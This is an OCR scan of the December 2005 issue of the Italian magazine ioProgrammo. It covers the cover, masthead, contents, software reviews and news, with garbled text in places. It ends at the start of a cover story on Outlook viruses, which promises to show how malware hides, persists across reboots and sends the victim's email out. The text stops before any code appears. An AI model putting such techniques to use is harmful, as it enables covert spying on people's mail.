Skip to main content

Full text of "Io programmo 97"

See other formats


Vs 



SNORT INTRUSION DETECTION SYSTEM 

MONITORIAMO LA RETE A CACCIA DI INTRUSI E 
SALVIAMO LE INFORMAZIONI IN UN DATABASE MYSQL 



VERSIONE PLUS 



Rivista + Le Grandi Guide di ioProgrammo n° 4 a € 14,90 in più ^1 I RIVISTA+LIBRO+CD €9 90 I 



RIVISTA+CD €6,90 



ROGRAMMO 



PER ESPERTI E PRINCIPIANTI 



ESE 




DENTRO I TUOI PROGRAMMI 

Crea un motore di ricerca personalizzato 
da integrare nelle tue applicazioni 

• Le librerie da utilizzare per 
facilitarti il lavoro 

• Il codice pronto da compilare, 
con gli esempi commentati 

• La tecnica dettagliata 
per poter personalizzare 
il tuo software 




.NET SCRIVERE APPLICAZIONI SICURE 



IL CODICE DEI VIRUS 

SE LO CONOSCI LI EVITI 

Come fanno gli esperti a nasconderli nel 
sistema, farli avviare automaticamente, 
fargli aggirare le protezioni di outlook! 



ACCELERATORI PER LO SVILUPPO 



GRAFICA CORI 
VISUAL BASIC. NET 

I controlli da utilizzare, le tecniche, i trucchi 
per disegnare linee, poligoni e gestire 
immagini con il linguaggio di Microsoft 



PRIMALITA 



dal classico problema della ricerca 
dei numeri primi al suo utilizzo all'interno dell'algoritmo RSA 



■ VISUAL BASIC 

LE MANI 

NEL REGISTRO 

Usa il registry per salvare 
le informazioni in modo 
permanente 

■ PHP 

PREGO 
DOCUMENTI... 

Sfrutta le classi PEAR 

e gestisci in modo efficace 

l'autenticazione degli utenti 

■ DATABASE 

HSQLDB IL VELOCE 

Il DB tutto in un file. Facile 
e portabile in ogni ambiente 



SVILUPPO TEST 
DRIVEN 

Una nuova tecnica, 
che parte dal problema 
e genera la soluzione 
per tentativi 

ALGORITMI 
GENETICI 

Usali per risolvere problemi 
dal numero di soluzioni così 
elevato da non poter essere 
risolti in modo classico 

VOICE OVER IP 

Il codice per realizzare 
subito un'applicazione 
completa di telefonia 
su Internet 



ADO SOTTO 
STEROIDI 

Personalizziamo i metodi 
di accesso ai database, 
rendendoli "universali" 



ASP2.0 



AUTENTICAZIONE 
SICURA 

Alla scoperta dei nuovi 
controlli che rendono facile 
gestire il login degli utenti 



JAVASCRIPT 



GOOGLE MAPS 

Come funzionano le API 
che ti permettono di inserire 
mappe all'interno del tuo 
sito web 



JAVA HELP 
LIVE 



METTI IN CONTATTO 
GLI UTENTI DEL TUO SITO 

CON UN OPERATORE 
USANDO UNA CHAT 



sin 



EDIZIONI 

MASTER 

www.ee/masterft <? 




771128"594641 



50097 



Anno IX - N.ro 11 (97) - Dicembre 2005 - P 

Reg. Trib. di CS al n.ro 593 del 11 Febbraio 1997 
Cod. ISSN 1128-594X 
E-mail: ioprogrammo@edmaster.it 
http://ww _ " J 

http://www.ioprogrammo.it 

Direttore Editoriale: Massimo Sesti 



Responsabile Editoriale: Gianmarco Bruni 



Collaboratori: M. Autiero, C. Bellucci, D. Berta, M. Bigatti, L. Buono, 

'""'"- — ,aDeMid- -"- ' ' ' ■■■■■■■ 

A Galeazzi, F Grimaldi, A. Ingegneri, M. Locuratolo, M. Postiglione, 



Segreteria di Redazione: Veronica Longo 
Realizzazione grafica: Cromatika S.r.l. 



Coordinamento tecnico: Giancarlo Sicilia 

Illustrazioni: M. Veltri 

Impaginazione elettronica: Aurelio Monaco 



parte di tutto ciò che facciamo e di ogni decisione che prendiamo 



miglioramento delle performance ambientali e sulla prevenzione 



[CSQJ ^j£\ Certificato UNI EN ISO 14001 
■*~" - ** ^^N.9191CRMT 

Realizzazione Multimediale: SET S.r.l. 



Realizzazione CD-Rom: Paolo lacona 

Pubblicità: Master Advertising s.r.l. 
Via C. Correnti, 1 - 20123 Milano 
Tel. 02 831212 - Fax 02 83121207 



Sales Director: Max Scortegagna 



Editore: Edizioni Master S.p.a. 



Tel. 02 831213 - Fax 02 83121330 

a industriale - 87036 Rende (CS) 
Presidente e Amministratore Delegato: Massimo Sesti 

ABBONAMENTO E ARRETRATI 
ITALIA: Abbonamento Annuale: ioProgrammo (11 numeri) €59,90 
sconto 20% sul prezzo di copertina di €75,90 
Offerte valide fino al 31/12/05 
Costo arretrati (a copia): il doppio del prezzo di copertina + € 5.32 



verificare la disponibilità delle copie arretrate allo 02 831212. 



dovrà essere inviata via fax allo 02 83121206, oppure via posta a EDI- 
ZIONI MASTER via C. Correnti, 1 - 20123 Milano, dopo avere effettuate 
il pagamento, secondo le modalità di seguito elencate: 

• cc/p n.16821878 o vaglia postale (inviando copia della ricevuta del 
ai- 
assegno bancario non trasferibile (da inviarsi in busta chiusa insieme 
_..j richiesta); 
. carta di credito, circuito VISA, CARIASI', MASTERCARD/EUROCARD, (fo- 



la Vs. sottoscrizione insieme alla richiesta). 



S.p.a. c/c 01 000 000 5000 ABI 03032 CAB 80880 GN Q (inviando copia 



SI PREGA DI UTILIZZARE IL MODULO RICHIESTA ABBONAMENTO POSTO 
NELLE PAGINE INTERNE DELLA RIVISTA. L'abbon 
primo numero utile, successivo alla data della richiesta. 

Sostituzioni: qualora nei prodotti fossero rinvenuti difetti o imperfe- 



la sostituzione gratuita, previo invio del materiale difettato. 

■" la se il probi 

segnalato entro e non oltre IO giorni dalla data effettiva di acquisto 

"'' irizzati, f '" '" 

postale di restituzione del materiale. 

■■■■■-■■■"■■"■■■ "— — ofo busr L 

Edizioni Master - Servizio Clienti - Via C. Correnti, 1 - 20123 Milano 

Assistenza tecnica: ioprogrammo@edmaster.it 
Servizio Abbonati: 
tei. 02 831212 

servizioabbonati@edmaster.it 

Stampa: Arti Grafiche Boccia S.p.a. Via Tiberio Felice, 7 Salerno 

,-._. ,-„ .,.. ,|i S.pA - Vi." ' "■""- " 

20065 Inzago (Mi) , 

;clusivo per l'Italia: Panini & C S.pA 
Via Vitorchiano, 81 - Roma 



Questo mese su ioProgrammo 



anche se non pubblicati, non si restituiscono. Edizioni Master non sarà 
in alcun caso responsabile per i danni diretti e/o indiretti derivanti 



i*i Vlliliil'ii'iM 



responsabilità è, inoltre, assunta dalla Edizioni Master per danni o altro 

derivanti da virus informatici non riconosciuti dagli antivirus ufficiali 
all'atto della m J_ ' ' -■-*•■-•■ 



Edizioni Master edita: Computer Bild Italia, Computer Games Gold, 
Digital Japan Magazine, Digital Music, DVD Magazine, Filmteca in 
DVD, Giochi e Programmi per il tuo telefonino, Go!0nLine Internet 



ne giochi. Home Entertainment, Horror mania, I Corsi di Win Magazi- 
ne, I Fantastici CD-Rom, I film di idea web,l Filmissimi in DVD, I Libri 
di Quale Computer, I Mitici all'Italiana, Idea Web, InDVD, ioProgram- 



diioProgrammo, Linux Magazine, MPC, Nightmare, Office Magazine, 



Software World, Supercar in dvd, Thriller Mania, Win Magazine 



Finalmente arriva 
Visual Studio 2005! 



Il 10 Novembre 2005 a Milano è stato finalmente 
presentato il tanto atteso Visual Studio 2005! I 
circa 2500 iscritti hanno potuto scegliere fra tre per- 
corsi tematici messi a disposizione dall'organizza- 
zione: 

• Progettare e gestire database e applicazioni 
scalabili, ad alta disponibilità e manutenibili 
con SQL Server 2005. 

• Sviluppare una soluzione completa con Visual 
Studio 2005 e SQL Server 2005. 

• Realizzare applicazioni di classe enterprise con 
l'Application Platform di Microsoft. 

Le tre aree di suddivisione sono simboliche delle 
novità che la nuova versione dell'ambiente porterà 
ai programmatori .NET. Si evidenzia subito come 
Visual Studio 2005 sia decisamente integrato con 
SQL Server 2005, e come le applicazioni che fanno 
uso di database siano ormai centrali all'interno di 
una qualsiasi organizzazione. Lo spirito di Visual 
Studio in questo senso è decisamente "Aziendale" . 
Un prodotto ad alta produttività si pensato per ren- 
dere immediato lo sviluppo di soluzione rapide. 



D'altro canto si nota subito come Visual Studio sia 
un prodotto scalabile, utilizzabile certamente nel 
migliore dei modi per coloro che hanno necessità 
di rapidità nello sviluppo, ma concepito per poter 
essere usato anche a basso livello da coloro che 
hanno necessità più spinte, dove il framework non 
deve nascondere la potenza del linguaggio. 
Naturalmente questa è solo la punta dell'Iceberg. 
Tutta la potenza di Visual Studio si vedrà con l'arri- 
vo di Windows Vista, dove per programmare 
software in linea con il nuovo sistema, la presenza 
di Visual Studio sarà assolutamente indispensabile. 
Non si tratta dunque semplicemente di un'ennesi- 
ma versione, ma di un punto di svolta importante 
che getta le basi di quelle che saranno le tecnologie 
di sviluppo nei prossimi anni. Benvenuto dunque 
Visual Studio 2005, con tutto il carico di novità di 
cui è portatore, novità che non mancheremo di 
scoprire costantemente in ioProgrammo e che nel 
tempo molto probabilmente porteranno allo svi- 
luppo di una nuova categoria di applicazioni, che 
possono segnare un elemento di movimento 
importante all'interno del mercato dello sviluppo. 
Fabio Farnesi ffarnesi@edmaster. ìt 



U CD U WEB 

nome_file.zip 



*k* 



£££• 



All'inizio di ogni articolo, troverete un simbolo 
che indicherà la presenza di codice e/o software 
allegato, che saranno presenti sia sul CD (nella 
posizione di sempre \soft\codice\ e \soft\tools\) 
sia sul Web, all'indirizzo 
http://cdrom.ioprogrammo.it. 



!|tos)| 

I 'oq ^ófi j L'Unìv 

Icato n.5330 del E;1 E/ZQ04 ww 



GOOGLE 
DESKTOP 



Crea un motore di ricerca 
personalizzato da integrare 
nelle tue applicazioni 

• Le librerie da utilizzare 

per facilitarti il lavoro 

• Il codice pronto da compilare, 
con gli esempi commentati 

• La tecnica dettagliata per 
personalizzare il tuo software 

pag. 42 




Questo mese su ioProgrammo 



IL CODICE DEI VIRUS 

Come fanno gli esperti a nasconderli nel sistema, farli avviare 
automaticamente, fargli aggirare le protezioni di outlook! Scopriremo 
alcuni segreti di Windows molto utili da conoscere. pag. 16 



IOPROGRAMMO WEB 



Login? Sì grazie, gestiamolo 

da PHP pag. 22 

Se sfate sviluppando un sito che ha un 
minimo di interazione con l'utente, è molto 
probabile che vi troverete a dovere scrivere 
il codice che ne gestisce l'accesso alle aree 
protette. 

Gestire gli utenti con 

ASP.NET 2.0 pag. 26 

Tra le novità più interessanti della nuova 
versione del framework di Microsoft 
dedicato ad Internet spicca l'arrivo di alcuni 
controlli per la gestione dell'autenticazione. 

Aiuto in tempo reale con JAVA pag. 30 

Implementiamo un'applicazione di "Live 
Help" che ci consente di parlare con un 
operatore mentre si naviga su un sito di e- 
commerce quando si necessita di supporto 
immediato 

Le mappe di Google nel tuo 

sito pag. 35 

Fra le tante API rese disponibili da Google, 
ne spicca una dall'utilità indiscutibile che 
consente di visualizzare una mappa 
geografica e contrassegnare i suoi punti 
notevoli. Vediamo come usarla 



SISTEMA 



XPFE: il framework 

di MOZilla pag 48 

Dietro al celebre browser si na- 
sconde un potente framework. 
XPFE è una sapiente combinazio- 
ne di linguaggi e tecnologie fi- 
nalizzata allo sviluppo di appli- 
cazioni multipiattaforma 




mm 



Gli allegati di ioProgrammo 

// software in allegato alla rivista 

Il libro di ioProgrammo 

// contenuto del libro in allegato alla rivista 

News 

Le più importanti novità del mondo 
della programmazione 



pag. 6 

pag. 8 

pag. 10 



SISTEMA 



Sviluppare "testando" 

il software pag. 54 

Alla scoperta del "test driven develop- 
ment" una metodologia che consente di 
concentrarci sulle funzionalità di un'appli- 
cazione e sviluppare il codice quasi in mo- 
do automatico. Vediamo come 



DATABASE 



HSQL: il Database da 

"Formula 1" pag. 58 

Panoramica su HSQL, il database incluso 
come persistence engine in OpenOffice 2.0, 
che si candida come soluzione stabile e 
performante per progetti di piccole e 
medie dimensioni 

Qualche trucco per migliorare 
Ado.NET pag. 62 

Impareremo come utilizzare Managed 
Provider specifici per un certo tipo di 
database, scrivendo però un unico codice. 
In questo modo risparmieremo tempo e 
creeremo codice indipendente dal DB 



NETWORKING 



Telefonare con il Voice Over IP 

2 a parte pag. 68 

Realizziamo un'applicazione pratica che ci 
consenta di mettere in comunicazione 
vocale due utenti utilizzando la 
connessione Internet e risparmiando sul 
costo della telefonata 



VISUAL BASIC 



VB mette le mani nel registro pag. 72 

Vi spieghiamo come interagire con il 
Registro di Sistema e sviluppiamo 
un'applicazione che permette di 
personalizzare gli Screen Saver, Internet 
Explorer e altro ancora 



Express pag. 84 

Le guide passo passo per realizzare applicazioni 
senza problemi 

Software pag. 104 

/ contenuti del CD allegato ad ioProgrammo. 
Corredati spesso di tutorial e guida all'uso 

Biblioteca pag. 114 

/ migliori testi scelti ogni mese dalla redazione per 
aiutarvi nella programmazione 



BACKSTAGE 



Riprodurre il DNA di un 

viaggiatore pag. 78 

Risolviamo con un metodo "Intelligente" 
un problema di tale complessità che 
normalmente richiederebbe ore e ore di 
calcolo e un gran numero di risorse 



CORSI 



XSL • Uso e abuso delle variabili 

in XSL pag. 88 

Come tutti i linguaggi classici anche XSL 
può fare uso di variabili. A differenza dei 
linguaggi tradizionali presentano però 
alcune peculiarità che ne rendono l'uso non 
immediato, vediamo quali 

VB.NET • Grafica in VB.NET pag. 93 

Una serie di articoli sulla tecnologia messa 
a disposizione da VB.NET 2003 per il 
disegno di elementi grafici e per la gestio- 
ne delle immagini. La tecnologia GDI+ 



SOFTWARE 



Network Intrusion Detection 

con Snort pag. 98 

Installare, configurare e utilizzare un siste- 
ma completo per l'analisi delle intrusioni in 
reti TCP/IP, composto da Snort e MySQL e 
capace di elaborare statistica 



SOLUZIONI 



Test di primalità pag. 110 

Verificare se un numero è primo, è un 
problema fondamentale. È noto come 
algoritmi di crittografia a chiave pubblica, 
del tipo RSA, si fondino sulla scelta di 
numeri primi di grandissime dimensioni. 



(http^/f 



orum . loprogrammo 



T) 



QUALCHE CONSIGLIO UTILE 

I nostri articoli si sforzano di essere 
comprensibili a tutti coloro che ci 
seguono. Nel caso in cui abbiate 
difficoltà nel comprendere esattamente 
il senso di una spiegazione tecnica, è 
utile aprire il codice allegato all'articolo 
e seguire passo passo quanto viene 
spiegato tenendo d'occhio l'intero 
progetto. Spesso per questioni di spazio 
non possiamo inserire il codice nella sua 
interezza nel corpo dell'articolo. Ci 
limitiamo a inserire le parti necessarie 
alla stretta comprensione della tecnica. 



Le versioni di ioProgrammo 




SHORT IHTRUSIOH DETf CTIOM SYSTIM 



ROGRAMMO 



GOOGLE 

DESKTOP 

DENTRO I TUOI PROGRAMMI 

Crea un motore di ricerca personalizzato 
da integrare nelle tue appl icazion i 

• Le librerie da utilizzare per 
facilitarti il lavoro 

• Il codice pronto da compilare, 
con gli esempi commentati 

• La tecnica dettagliata 
per poter personalizzare 
il tuo software 



SVILUPPO TEST 
DRIVEN 



LO STRUMENTO PIÙ SEMPLICE 
PER LAVORARE CON I DATABASE 

FILEMAKER 8 




RIVISTA + CD 

in edicola 




FileMaker 



4 



Pro 8 



Dal catalogo dei prodotti alla gestione 

degli ordini, ad una semplice rubrica 

dei contatti, risolvi ogni problema aziendale 

rapidamente e in modo efficace 



Prodotti del mese 



Polaris .NET 

Database sotto controllo 

Si tratta di un ottimo prodotto com- 
mercializzato da Miracle Soft. Lo 
scopo è duplice, prima di tutto viene 
utilizzato per creare ogni tipo di 
reportistica/statistica sui database, 
previa la conoscenza della base di 
dati, in secondo luogo può essere 
utilizzato anche per l'interrogazione 
dei database. 

è inoltre possibile collegare Pol- 
aris.NET a un gestionale utilizzando 
un comodo Wizard. Polaris.NET è 
uno di quei software che risultano 
indispensabili per la creazione di 
progetti ottimizzati. Non se ne può 
fare a meno quando il vostro 
software comincia ad assumere pro- 
porzioni tali che un controllo com- 
pletamente manuale diventa impos- 
sibile ed in alcuni casi controprodu- 
cente. Così Polaris.NET con la sua 
capacità di creare grafici statistici 
anche complessi in relazione ad ogni 
tipo di base di dati diventa una 
comodità indispensabile. 

[pag.107] 



j-imMiil -M::Ij| :jI 



, P01ARIS.NET 



I 



• ; Wy\ 



Joomla 1.0.3 

Crea e personalizza il tuo portale 
su Internet con pochi click 
di Mouse 

Molti di voi conosceranno 
Mambo, si tratta di uno dei CMS 
più utilizzati in rete. 
A costruire il successo di Mambo è 
stata la sua alta modularizzazio- 
ne, la capacità di consentire agli 
utenti di personalizzare il sistema 
con poche, rapide operazioni, la 
completezza del sistema. 
Peccato che recentemente gli svi- 
luppatori di Mambo si siano tro- 
vati n disaccordo con le scelte di 
Mirò la software house che ha 
prodotto il software fino ad ora. 
Così molti di loro hanno abbando- 
nato Mirò e hanno dato vita a 
Joomla l'erede di Mambo. 
Basato sul suo stesso codice ma 
con la promessa di essere 
OpenSource ora come nelle future 
versioni. Scopriremo se questa 
svolta porterà i frutti desiderati 
allo sviluppo di questo C MS 

[pag.105J 



I 



Ref lector 4.0 

Lo 007 del codice Disassembla il 
software e risale al progetto 
originale. 

Chi ci segue da tempo avrà sicura- 
mente nozione di cosa sia la reflec- 
tion in .NET. Sostanzialmente si trat- 
ta di una tecnica che consente di 
"disassemblare" il codice compilato 
di un software scritto in .NET e risali- 
re alla descrizione dei metodi e delle 
classi che compongono l'applicazio- 
ne. In realtà la reflection è una tecni- 
ca piuttosto complessa che fa molto 
di più di quanto abbiamo esposto, 
tuttavia il concetto riassume breve- 
mente una parte delle funzionalità. 
Reflector è appunto un tool che tra- 
mite la reflection scompone un ese- 
guibile e vi restituisce le classi base. 
In questo articolo ne facciamo uso 
nell'articolo di Michele Locuratolo su 
Lucene. Anche nell'articolo sull'archi- 
tettura ADO l'abbiamo trovato 
molto utile per reperire le classi che 
componono l'intero progetto. Un 
utility quasi indispensabile. 

[pag.108] 



C++ Template 
Image processing 
library 

Una libreria facile da usare ma 
molto potente per creare effetti 
speciali sulle immagini 

Clmg è una libreria Open Source per 
C++ per gestire le immagini in modo 
semplice e veloce. È importante no- 
tare come l'eseguibile risultante sia 
piuttosto veloce. Altra caratteristiche 
che rende la Template Image Proces- 
sing Library un tool decisamente im- 
portante è la sua alta portabilità. 
Sviluppare applicazioni in C++ per 
Unix, Windows, MacOS X o FreeBSD 
non comporta nessuna differenza 
nel codice, se il tutto è sviluppato 
secondo i dettami della Clmg. Anche 
l'uso è semplice, di fatto si tratta di 
un unico file di Header: Clmg.h che 
deve essere incluso nel codice sor- 
gen te dell'applicazione. Ulteriori 
funzionalità dipendono dalla presen- 
za di librerie aggiuntive quali Image- 
Magick, libpng o libjepg. 

[pag.105] 




»> 6 /Dicembre 2005 



http://www.ioprogrammo.it 



Le versioni di ioProgrammo 




(ÓR 

|.; i ; |,-|..J:..M -|i' |IU ■'■'.'. .IUIM 



1SN0RT INTRUSION DETECTION SYSTEM 



p t (j^ij.«in,i,iij.m,.l nassMi» 



ROGRAMMO 



GOOGLE 

DESKTOP 

DENTRO I TUOI PROGRAMMI 

Crea un motore di ricerca personalizzato 
da integrare nelle tue applicazioni 



• Le librerie da utilizzare per 
facilitarti il lavoro 

• Il codice pronto da compilare, 
con gli esempi commentati 

• La tecnica dettagliata 
per poter personalizzare 
il tuo software 



M,u.id:i» i-i-iii*m.i.'n.ii.i 

IL CODICF £fl VIRUS 

SE LO C*** ■ iA Tl ,. 

Come fi jg; 




sisterr 

fargi 

r' 



ìTÌT 

KoGRAJWS 



ferii nel 



97 > 



■ VISUAL BASIC 

LE MANI 

NEL REGISTRO 

Usa il regìstry per salvare 
le informazioni in modo 

■ PHP 

PREGO 
DOCUMENTI... 

Sfrutta le classi PEAR 

e gestisci in modo efficace i 

l'autenticazione degli utenti 

■ DATABASE 

HSQLDB IL VELOCE 

Il DB Uitto in un file. Facile 
e portabile in ogni ambiente 



SVILUPPO TEST 
DRIVEN 

Una nuova tecnica, 
che parte dal problema 
e genera la soluzione 
per tentativi 

ALGORITMI 
GENETICI 

Usali per risolvere problemi 
dal numero di soluzioni cosi 
elevato da non poter essere 
risolti in modo classico 

VOICE OVER IP 

Il codice per realizzare 
subito un'applicazione 
completa di telefonia 
su Internet 



ADO SOTTO 
STEROIDI 

Personalizziamo i metodi 
di accesso ai database, 
rendendoli "universali" 



AUTENTICAZIONE 
SICURA 

Alla scoperta dei nuovi 
controlli che rendono tacile 
gestire il login degli utenti 



RIVISTA + LIBRO 
+ CD-ROM 

in edicola 




!(.>Bt»mA»*° 




GOOGLE MAPS 

Come funzionano le API 
che ti permettono di inserire 
mappe all'interno del t 
sito web 



JAVA HELP 



Jlllii 



p^grammazionedj 

Videogiocni 



Guida Pratica 



E^* » @4 ^ 




I contenuti del libro 



Programmazione di VÌdeOCjÌOCflÌ 



Alfredo Marroccelli ci guida attraverso uno dei 
campi più affascinanti della programmazione. 
Lo sviluppo di un VideoGame, non comporta 
soltanto un'elevata competenza tecnica ma anche 
una grande fantasia e la capacità di trasformare 
l'immaginazione in animazioni che rappresentano 
sogni. "Programmare VideoGiochi" ha un approccio 
estremamente pratico allo sviluppo. 
Le primitive esposte dai motori 3D vengono 
analizzate attraverso una serie di esempi tesi 
a mostrare tutte le tecniche più importanti per 
la realizzazione di un VideoGioco. 
L'idea che viene perseguita è quella di fornire 
al lettore tutti gli strumenti per poter creare senza 
alcuna limitazione ciò che la propria creatività 
V gli suggerisce. 



Come si crea un gioco 

Mondi 3D con Irrlicht 

Usare gli engine per facilitare 

lo sviluppo 

Effetti sonori con Audiere 

La fisica dei videogiochi, simulare 

la realtà 

Linguaggi di Scripting 

Sviluppare videogames pronti per 

la rete 



»> 8 /Dicembre 2005 



http://www.ioprogrammo.it 



NEWS T 



News 



MYSQL FORZA 
CINQUE 

~ econdo le dichiarazioni del mana- 
gement di MySQL AB le innova- 
zioni apportate a MySQL 5 sono tali 
da rendere questa versione la più ri- 
voluzionaria mai rilasciata da quando 
si sono lanciati in questa avventura. 
MySQL passerebbe dall'essere un da- 
tabase privo di fronzoli ed orientato 
soprattutto al web dove certe funzio- 
nalità effettivamente non sono quasi 
mai utilizzate a un database di carat- 
tere Enterprise dotato di tutte le ca- 
ratteristiche tipiche di un DB votato 
alle aziende. Si parla di Trigger, Viste, 
Stored Procedure, una diversa gestio- 
ne degli indici. Al momento in cui scri- 
viamo la redazione sta ultimando i 
test sulla velocità e l'efficacia del nuo- 
vo database. Le premesse per vedere 
un concorrente agguerrito nel settore 
dei DB aziendali fino ad ora terreno 
fertile per MS SQL Server e Oracle ci 
sono tutte, resta da verificare quanto 
il mercato riterrà affidabile la nuova 
versione. 

VMWARE LANCIA 
UHI PLAYER 
GRATUITO 

FmWare è uno dei più noti am- 
bienti per la creazione di mac- 
chine virtuali. Sostanzialmente tra- 
mite VmWare è possibile "suddivide- 
re" l'hardware esistente assegnando 
una porzione di risorse ad un emu- 
latore che la usa come se fosse una 
intera, dando l'illusione al sistema 
operativo di disporre di una macchina 
completa. Grazie a questo "trucco" è 
possibile far girare contemporanea- 
mente più sistemi operativi su un 
un'unica macchina, opportunità im- 
portantissima in fase di testing delle 
operazioni. 

Recentemente VmWare ha lanciato 
una versione free del proprio player, 
limitata solo in poche funzionalità e 
utilissima per cominciare a prendere 
confidenza sulla virtualizzazione dei 
sistemi 



APACHE RAGGIUNGE 
QUOTA 50.000.000 

LI analisi di Netcraft arriva pre- deve essere presa analizzando il 
cisa e puntuale come sempre. dato al di fuori del contesto del 
Secondo quanto recentemente valore assoluto dei numeri. Di 
affermato sarebbero 
52.005.811 le installa- 
zioni di un web server 
Apache su un totale di 
74.409.971 siti analiz- 
zati. Si contano invece 
15.293.030 installazio- 
ni di un web server 
US. Solo briciole agli 
altri due concorrenti 
Zeus e Sun. La notizia 
pur essendo rilevante. 



GOOGLE LANCIA 
IL SUO DATABASE 




I pochi fortunati che sono riusciti 
ad accedere al sito http://base 
.google.com si sono trovati davanti 
a un servizio innovativo e dai ri- 
svolti tecnico /commerciali molto 
interessanti. Il sito in questione è 
stato online solo per poche ore, e 
nonostante Google non abbia fatto 
alcun annuncio ufficiale sull'esi- 
stenza e il funzionamento di que- 
sto servizio, si è riusciti comunque 
ad intuire quali potrebbero essere 
le sue finalità. 



Goosle [ 



Siwhittwit | 



Smei6»n | 



Vo T .'. youriUnr-on 
tttìtti WiltaHrfei 

mitri v.dmi\r 1 



H434H- 



.DWAHaBfpaKA 



fatt in ttem Lwnmw 



f cy»m wrf«*IHiiff« 



A* r>p a *hie>** n l'irti** imi. o'ii ri- "**k 
ormi? 



«fiHinwlì— HMfnw 



In sostanza Google offrirebbe uno 
spazio dove gli utenti potrebbero 
archiviare qualunque tipo di dato, 
al fine di poterne poi effettuare la 



ricerca. 

Ciascun dato potrebbe essere eti- 
chettato con un attributo, per po- 
ter in seguito ottenere un risultato 
aggregato di una query. È lecito 
pensare che a tutto questo potreb- 
bero aggiungersi delle API che con- 
sentano al programmatore di sfrut- 
tare il servizio in modo intensivo. 
Voci di corridoio sostengono che si 
tratterà di un servizio a pagamen- 
to, in ogni caso non ci sono notizie 
ufficiali sulle caratteristiche tecni- 
che del servizio e su quelle com- 
merciali. 

In ogni caso se il database di Goo- 
gle dovesse realmente fare il suo 
ingresso nel tradizionale mercato 
dei database, siamo convinti che si 
tratterebbe di un concorrente ag- 
guerrito nei confronti di tutti quei 
software che in questo momento si 
pongono come riferimento nel 
mercato del web. 

Staremo a vedere se realmente il 
servizio prenderà questa direzione 
o se infine il tutto si risolverà in un 
semplice archivio personale a cui 
accedere via web. 



,> 10 /Dicembre 2005 



http://www.ioprogrammo.it 



NEWS T 



fatto, i provider hanno ini- 
ziato solo di recente a for- 
nire hosting basati sui ser- 
vizi di Microsoft, inoltre in 
generale il costo dell'atti- 
vazione di un dominio 
basato su MS e SQL Server 
è generalmente più alto di 
quello dell'accoppiata PHP 
e MySQL. La situazione 
potrebbe risultare legger- 
mente diversa contando il 
numero di installazioni di 
server Microsoft in ambiti 
aziendali, nelle intranet, e 
in ambienti altamente spe- 
cializzati. Nonostante que- 
sto va dato merito ad 
Apache di far girare ben il 
70% dell Web, e non è cer- 
tamente un merito da 



ARRIVANO GLI E-PASSPORTS 



In Australia i passaporti di- 
ventano elettronici. Il volto 
di una persona comune viene 
scansionato e l'immagine di- 
gitalizzata salvata in un passa- 
porto elettronico. Ogni suc- 
cessiva operazione avviene 
per confronto dell'immagine 
digitalizzata con quella conte- 
nuta in un database, mezzo 
sarebbe ovviamente una com- 
plicata apparecchiatura bio- 
metrica. Siamo dunque all'en- 
nesimo tuffo dentro un film di 
fantascienza, e alle ennesime 
preoccupazioni che normal- 
mente processi del genere 
insinuano nella mente uma- 
na. Molto probabilmente è 
tutto frutto dello stupore che 
si prova di fronte ad una tecni- 



ca così innovativa, tuttavia l'i- 
dea della modifica dei propri 
tratti somatici dovuta a invec- 
chiamento sembra preoccu- 
pare anche i promotori del 
progetto che rilasceranno gli 
e-Passports solo a individui 
che abbiano superato l'età 
adolescenziale. Resta ignoto 
cosa potrebbe accadere in se- 
guito a un'operazione di pla- 



stica facciale ad esempio, ad 
un banale incidente, o a una 
ferita accidentale. In ogni caso 
il passaporto elettronico avrà 
un costo di 172 dollari, con un 
disavanzo di 19 dollari rispetto 
a quello tradizionale. Come in 
tutte le innovazioni tecnologi- 
che sarà il mercato a stabilire 
quanto il nuovo passaporto 
possa essere utile all'umanità. 




SI CHIAMA MONAD LA SHELL DI MICROSOFT 



Mancava ai sistemi Microsoft una 
shell nello stile di quella adottata 
dai sistemi Unix. Il vecchio cmd sicura- 
mente non dispone di un linguaggio strut- 
turato a cui fare riferimento, WSH appare 
ancora come poco efficace e macchinoso 
da utilizzare. Arriva dunque Monad un 
evoluzione, a dire la verità, ancora poco 
convinta della tradizionale shell. Micro- 
soft d'altra parte non è mai stata un fans 
della linea di comando, tuttavia nell'ottica 
di fornire un sistema completo ha creato 
una serie di strumenti che vanno in questa 
direzione. Al di la della validità di questa 



shell, va detto che in MS 
nulla viene tralasciato per 
opporre un valido concor- 
rente ai sistemi alternativi. 
La dove l'utente preferisce 
Unix anche per la facilità 
con cui è possibile pro- 
grammarlo a linea di co- 
mando, Microsoft propo- 
ne Monad. Si tratta di una 
mossa tattica intelligente 
che in futuro potrebbe 
senza dubbio riservarci 
delle sorprese. 




LA RISCOSSA DI TANENBAUM 



Terrore di tutti gli stu- 
denti di informatica, 
idolo di tutti i puristi, Ta- 
nembaum è una pietra mi- 
liare per lo sviluppo dei si- 
stemi operativi. Nota è la 
sua diatriba con Linus Tor- 
valds sull'opportunità di 
creare un kernel monolitico 
piuttosto che un micro- 
kernel. Il mondo ha finora 
nei fatti dato ragione a Tor- 
valds, dimostrando che la 



complessità di un mi- 
crokernel non vale in pre- 
stazioni quanto la sem- 
plicità di un kernel monoli- 
tico. Tuttavia Minix il siste- 
ma di Tanembaum sembra 
essere riemerso dai polve- 
rosi scantinati dei puristi 
dell'informatica e con la 
versione 3.0 si propone co- 
me un microkernel maturo 
anche per applicazioni di 
grande diffusione. 



È lo stesso Tanembaum che 
sul sito web ufficiale di 
Minix 3 http://www .mi- 
nix3.org/dichiara che la più 
grande differenza con i 
sistemi precedenti risiede 
proprio nelle dimensioni 
ridotte dei binari e nell'oc- 
cupazione ridotta delle 
risorse, caratteristiche che 
lo rendono ideale per si- 
stemi embedded e di picco 
le dimensioni. 




http://www.ioprogrammo.it 



Dicembre 2005/ 11 »> 



COVER STORY T I Tecniche di Hackware 



Outlook Virus 

se li conosci li eviti 



Vi sveliamo alcune tecniche usate dagli hacker per lo sviluppo 
di HackWare. Vedremo come un programma si può nascondere 
alla vista dell'utente e compiere operazioni pericolose sul sistema 




jn 




REQUISITI 



H.M.WJ.HJJ, 



i'prt Basidi 

Ui) programmazione C# 



Visual Studio 



^M\m\^à 



Tempo di realizzazione 



Esiste la possibilità di "spiare" la posta 
elettronica altrui? O meglio è possibile 
che qualcuno si introduca nel nostro 
computer e legga la nostra posta? La risposta è 
semplice: "Si". La parte più difficoltosa è carpi- 
re la nostra fiducia per installare un program- 
ma/virus che faccia proprio questo. Ma se que- 
sto avviene siamo quasi inermi! In questo arti- 
colo vedremo come un virus può: 

• nascondere la propria presenza agli occhi 
degli utenti inesperti; 

• autoriawiarsi ad ogni reboot; 

• prendere la nostra posta e spedirla a qual- 
